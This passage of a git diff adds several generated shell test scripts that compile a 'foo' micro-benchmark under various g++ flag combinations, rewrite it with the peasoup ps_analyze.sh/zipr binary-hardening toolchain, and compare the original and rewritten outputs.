+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..20eee76419896f3f29b161b20a87bbb6707284ec
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..5ff3f8657d644baff4ebd22a721ac1545d53221c
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.-fomit-frame-pointer.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC -fomit-frame-pointer   -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC -fomit-frame-pointer   -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..1aaba8823cfe648cd9f17b019a9332785d6d66e4
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC   -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0c4a7fb59d2f784774a90ead0e263752143f84f2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..53ea4e3a0fb7a03b717ccbd1f5bd2efcfe001be7
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.zipr
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend zipr || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..52d640e4878ced8c2897d93852abc179c2907bf2
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.zipr.startfile.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=zipr
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="    -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="    -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
